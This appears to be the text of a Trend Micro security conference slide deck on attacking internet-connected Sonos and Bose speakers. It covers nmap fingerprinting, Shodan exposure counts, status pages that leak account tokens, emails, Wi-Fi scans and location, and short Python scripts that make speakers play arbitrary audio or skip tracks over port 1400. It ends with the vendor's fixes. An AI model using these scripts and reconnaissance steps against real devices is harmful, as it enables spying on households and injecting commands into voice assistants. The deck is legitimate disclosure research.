The Sound of a Targeted Attack

Stephen Hilt
Sr. Threat Researcher
Forward-Looking Threat Research (FTR)
Internet Connected Speakers

- Major Brands Sonos® and Bose®
Identification

• Full Port Scan of Sonos® PLAY:1
$ nmap -p 1400 --script sonos

Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2017-09-27 14:26 EDT
Nmap scan report for 
Host is up (0.035s latency).
PORT STATE SERVICE
1400/tcp open  cadkey-tablet
| sonos: |
| displayVersion: 7.4 |
| ZoneName: FTR |
| MACAddress: 94:9F:00:00:00:08 |
| HardwareVersion: 1.20.1.6-1 |
| SoftwareVersion: 37.2-44160 |
| modelName: Sonos PLAY:1 |
| LocalUID: RINCON_949F3E136A0801400 |
| modelDescription: Sonos PLAY:1 |
| modelNumber: S12 |
| IPAddress: |
| WiFiMACAddress: 94:9F:00:00:08 |
| SerialNumber: 94-9F:00:00:08 |
| ExtraInfo: |

Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
Identification

upnp
api
cloud
tracks_summary
track_queue_summary
zp
topology
controllers
shares
alarm
playmode
renderingcontrol
tracks
cnetports
ethport statistics
radiolog
perf
cpumon
dropout_triggered.xml
button_triggered.xml
backtrace
netsettings.txt
syssettings
accounts
musicservices
trueplayinfo
msdcert
regcert
dnscache
temperature
proc/net/arp
Debugging Tools

Tools for debugging network issues

- Ping
- Traceroute
- Nslookup
- mDNS Announce
Debugging Tools

```
running /bin/ping -c 3 .255
PING 255 ( .255): 56 data bytes
64 bytes from 57: seq=0 ttl=64 time=0.220 ms
64 bytes from 23: seq=0 ttl=64 time=1.882 ms (DUP!)
64 bytes from 55: seq=0 ttl=64 time=62.846 ms (DUP!)
64 bytes from 62: seq=0 ttl=64 time=119.040 ms (DUP!)
64 bytes from 57: seq=1 ttl=64 time=0.190 ms
64 bytes from 23: seq=1 ttl=64 time=5.416 ms (DUP!)
64 bytes from 62: seq=1 ttl=64 time=39.916 ms (DUP!)
64 bytes from 55: seq=1 ttl=64 time=61.025 ms (DUP!)
64 bytes from 57: seq=2 ttl=64 time=0.193 ms

--- .255 ping statistics ---
3 packets transmitted, 3 packets received, 6 duplicates, 0% packet loss
round-trip min/avg/max = 0.190/32.303/119.040 ms
```
Sonos® in Shodan

![Image of Shodan website results for Sonos](image.png)

- **Error 403**
  - **DNA Verkot**
    - Added: 2017-09-27 19:09:32 GMT
    - Details: Finland, Helsinki
    - Connection: close
  - **Bredbandsbolaget AB**
    - Added: 2017-09-27 19:09:32 GMT
    - Details: Sweden, Boden
    - Connection: close
  - **Videotron Ltd.**
    - Added: 2017-09-27 19:09:38 GMT
    - Details: Canada, Bromont
    - Connection: close

- **Total Results:** 4,043
- **Top Countries:**
  - United States: 1,530
  - Sweden: 680
  - Belgium: 401
  - Norway: 187
  - Canada: 184
- **Top Organizations:**
  - Telnet N.V.: 432
  - Hotwire Fusion: 239
  - Webpass: 169
  - Comcast Cable: 110
  - Time Warner Cable: 81
- **Top Operating Systems:**
  - Linux 2.6.x: 27
  - Windows: 27

*Images and data from Shodan, a search engine for Internet-connected devices.*
Sonos® in Shodan
Bose® in Shodan

Object Not Found
Sonera Yritys Internet
Added on 2017-10-12 19:01:53 GMT
Finland, Helsinki
Details
HTTP/1.1 404 Not Found
Content-Type: text/html
Transfer-Encoding: chunked
Server: Allegro-Software-RomPager/5.40b1
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Connection: close

Object Not Found
Wind Telecomunicazioni
Added on 2017-10-12 18:59:19 GMT
Italy, Rome
Details
HTTP/1.1 404 Not Found
Content-Type: text/html
Transfer-Encoding: chunked
Server: Allegro-Software-RomPager/5.40b1
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Connection: close
### Information Leakage

<table>
<thead>
<tr>
<th>Zone Name</th>
<th>Coordinator</th>
<th>Group</th>
<th>Location</th>
<th>UUID</th>
<th>Version</th>
<th>MinCompatVer</th>
<th>Compat</th>
<th>WiMode</th>
<th>HasSSID</th>
<th>V</th>
</tr>
</thead>
<tbody>
<tr>
<td>Living Room</td>
<td>true</td>
<td>RINCON_5CAAFD2F830C01400:6</td>
<td><a href="http://1400/xml/device_description.xml">http://1400/xml/device_description.xml</a></td>
<td>RINCON_5CAAFD2F830C01400</td>
<td>37.2-44160</td>
<td>36.0-00000</td>
<td>1</td>
<td>1</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>FTR</td>
<td>true</td>
<td>RINCON_949F3E136A0801400:5</td>
<td><a href="http://1400/xml/device_description.xml">http://1400/xml/device_description.xml</a></td>
<td>RINCON_949F3E136A0801400</td>
<td>37.2-44160</td>
<td>36.0-00000</td>
<td>1</td>
<td>1</td>
<td>2</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Name</th>
<th>Location</th>
<th>UUID</th>
<th>Version</th>
<th>CanBeDisplayed</th>
<th>Unavailable</th>
<th>Type</th>
<th>Ext</th>
</tr>
</thead>
<tbody>
<tr>
<td>APTPhone</td>
<td>3401</td>
<td>mobile-iPhone</td>
<td>false</td>
<td>false</td>
<td>0</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>3401</td>
<td>mobile-iPhone</td>
<td>false</td>
<td>false</td>
<td>0</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>3401</td>
<td>mobile-iPhone</td>
<td>false</td>
<td>false</td>
<td>0</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>3401</td>
<td>mobile-iPhone</td>
<td>false</td>
<td>false</td>
<td>0</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>3401</td>
<td>mobile-iPhone</td>
<td>false</td>
<td>false</td>
<td>0</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>3401</td>
<td>mobile-iPhone</td>
<td>false</td>
<td>false</td>
<td>0</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>3401</td>
<td>mobile-iPhone</td>
<td>false</td>
<td>false</td>
<td>0</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>3401</td>
<td>mobile-iPhone</td>
<td>false</td>
<td>false</td>
<td>0</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

---

Copyright 2018 Trend Micro Inc.
# Information Leakage

<table>
<thead>
<tr>
<th>SerialNum</th>
<th>Type</th>
<th>Deleted</th>
<th>UN</th>
<th>NN</th>
<th>MD Flags</th>
<th>OADevID</th>
<th>Hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>3079</td>
<td>X_Svc3079-0-Token</td>
<td>Student Spotify 1 0</td>
<td>Sonos_nLQe21cG5NSSPpLTDbvbuDxSIA</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>3079</td>
<td>X_Svc3079-919c4f20-Token</td>
<td>FTR Spotify 1 0</td>
<td>Sonos_nLQe21cG5NSSPpLTDbvbuDxSIA_919c4f20</td>
<td>wCL6tF5</td>
<td></td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>3</td>
<td></td>
<td>Student <a href="mailto:A_ccll@gmail.com">A_ccll@gmail.com</a></td>
<td>FTR</td>
<td>1 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>1543</td>
<td>X_Svc1543-0-Token</td>
<td>FTR iHeart Radio 1 0</td>
<td>Sonos_nLQe21cG5NSSPpLTDbvbuDxSIA</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Information Leakage

This XML file does not appear to have any style information associated with it. The document tree is shown below.

```xml
<sources deviceID="EC1127AD9437">
  <sourceItem source="AUX" sourceAccount="AUX" status="READY" isLocal="true">AUX IN</sourceItem>
  <sourceItem source="INTERNET_RADIO" status="READY" isLocal="false"/>
  <sourceItem source="BLUETOOTH" status="READY" isLocal="true"/>
  <sourceItem source="QPLAY" sourceAccount="QPlay1UserName" status="UNAVAILABLE" isLocal="false">QPlay1UserName</sourceItem>
  <sourceItem source="QPLAY" sourceAccount="QPlay2UserName" status="UNAVAILABLE" isLocal="false">QPlay2UserName</sourceItem>
  <sourceItem source="STORED_MUSIC_MEDIA_RENDERER" sourceAccount="StoredMusicUserName" status="UNAVAILABLE" isLocal="false">StoredMusicUserName</sourceItem>
  <sourceItem source="UPnP" sourceAccount="UPnPUserName" status="UNAVAILABLE" isLocal="false">UPnPUserName</sourceItem>
  <sourceItem source="LOCAL_MUSIC" sourceAccount="40175238-fdae-440b-aade-cc0d7d154efc" status="UNAVAILABLE" isLocal="false">I-Tunes</sourceItem>
  <sourceItem source="NOTIFICATION" status="UNAVAILABLE" isLocal="false"/>
  <sourceItem source="SPOTIFY" sourceAccount="xxxxxxxxxx@svt.se" status="READY" isLocal="false">xxxxxxxxxx@svt.se</sourceItem>
  <sourceItem source="SPOTIFY" status="UNAVAILABLE" isLocal="false"/>
</sources>
```
## Information Leakage

![Screenshot of a Wi-Fi scan result]

```
running /wifi/athconfig scangetresults ath0

APs:
5c: 64: telenet-E585F
5e: 75: TelenetWiFi
00: f3: BRCM_TEST_SSID
0e: a0: SETUP
11: TelenetWiFi
5c: 00: telenet-00C09

Stats
active: 0
aps: 6
hidden: 0
probes: 38
beacons: 10
dups: 84
drops: 0
ignored: 0

Last scan completion/attemp: Sun Feb 1 21:33:36 1970
```
Information Leakage

{"result":200, "data":{"lat": 47.38677600241, "range": 133.2, "lon": 8.50253824796, "time": 1506547772}}
Information Leakage
Information Leakage
Information Leakage
Information Leakage
Information Leakage
Information Leakage

```bash
$ python CurrentTrack.py
Artist: Extreme
Title: He-Man Woman Hater
Album: Extreme II: Pornograffitti
Length: 0:06:19
Current Time: 0:00:00
```
Information Leakage
Information Leakage

```bash
$ python soundtouch.py
Bose SoundTouch 0DB34B
PANDORA
Eagles - Lyin' Eyes
```
Playing Your Own Songs

---

**Ghosty Hack**

9 months ago • Wireless speakers • 6 replies • 1861 Views

Novice • 2 replies

Please can someone help ! I've had my sonos system for 7 months and love it however a couple of nights ago the speaker in my hall started making really weird sounds, like a door opening, then half an hour later a baby started to cry from the speaker randomly for the rest of the evening. Last night I was going to bed then I heard my speaker in my bedroom produce a sound like a plate or glass breaking followed by the crying baby sound - it was really loud! It's starting to freak me out and I don't know how to stop it. It seems to only happen at night and is totally random ! None of my friends are doing this using my wifi by the way. I've read that [http://www.fastcompany.com](http://www.fastcompany.com) has managed to hack into the Sonos App which might explain what's happening however I'm not sure what I need to do to stop what's happening now. Can anyone help? Should I delete the App from my iPhone and reinstall ?

Like (0)  Quote  Share
Playing Your Own Songs

```python
#!/usr/bin/env python
import sys
from soco import SoCo

if __name__ == '__main__':
    sonos = SoCo(sys.argv[1])  # Pass in the IP of your Sonos speaker
    sonos.play_uri('{{}/alexa_command1.aiff'.format(sys.argv[2]))

    track = sonos.get_current_track_info()
    print(track['title'])
```
Playing Your Own Songs
Playing Your Own Songs

• Bose® also allows you to play URLs
  – Python libsounndtouch:

    # Play URL
    device.play_url('http://fqdn/file.mp3')
Abusing the API
Abusing the API

```python
import socket
import sys

# Argument Checking
if len(sys.argv) != 2:
    print("USAGE: Python ./NextTrack.py <host>")
    sys.exit()

# host is passed in via cli arguments
host=sys.argv[1]
port=1400

hex_string = "584f534552424f4d5654464966152556e546572657274141565472614373806772742f4346e674726f6c"

# convert into python hex format \
hex_data = hex_string.decode("hex")

#open socket
try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host,port))
    #send Next Command
    sock.send(str(hex_data))
except socket.error:
    print("\n|\n| Connection unsuccessful...\n\n")
    sys.exit()

# close socket
sock.close()
```
Abusing the API
Abusing the API
Hardware
Hardware
Hardware
Hardware
Hardware
Hardware
Hardware
Hardware
Hardware

```
$ st-info --probe
Found 1 stlink programmers
 serial: 573f7406663f575050430567
 openocd: "\x57\x3f\x74\x06\x66\x3f\x57\x50\x50\x43\x05\x67"
    flash: 1048576 (pagesize: 16384)
     sram: 196608
    chipid: 0x0413
     descr: F4 device
$ st-info --probe
Found 1 stlink programmers
```
After Reporting

• Sonos® has fixed numerous issues
  – Major issues fixed is the status page has less information leakage
  – DoS Attack has been resolved
After Reporting

Options

zp
topology
enetports
ethportstatistics
accounts
dncache
VERSION
etc/resolv.conf
proc/ath_rincon/status
proc/ath_rincon/phyerr
proc/ath_rincon/nf
proc/ath_rincon/station
ifconfig
uptime
showstp
After Reporting

bash-3.2# python NextTrack_exploit.py 172.16.67.57
HTTP/1.1 412 Precondition Failed
Server: Linux UPnP/1.0 Sonos/39.2-47040c (ZPS12)
Connection: close

bash-3.2#
Updates:

April 9th 2018

• 5,160 Sonos Devices Exposed
• 1,485 Bose SoundTouch Devices Exposed
The Sound of a Targeted Attack

• Questions

@sjhilt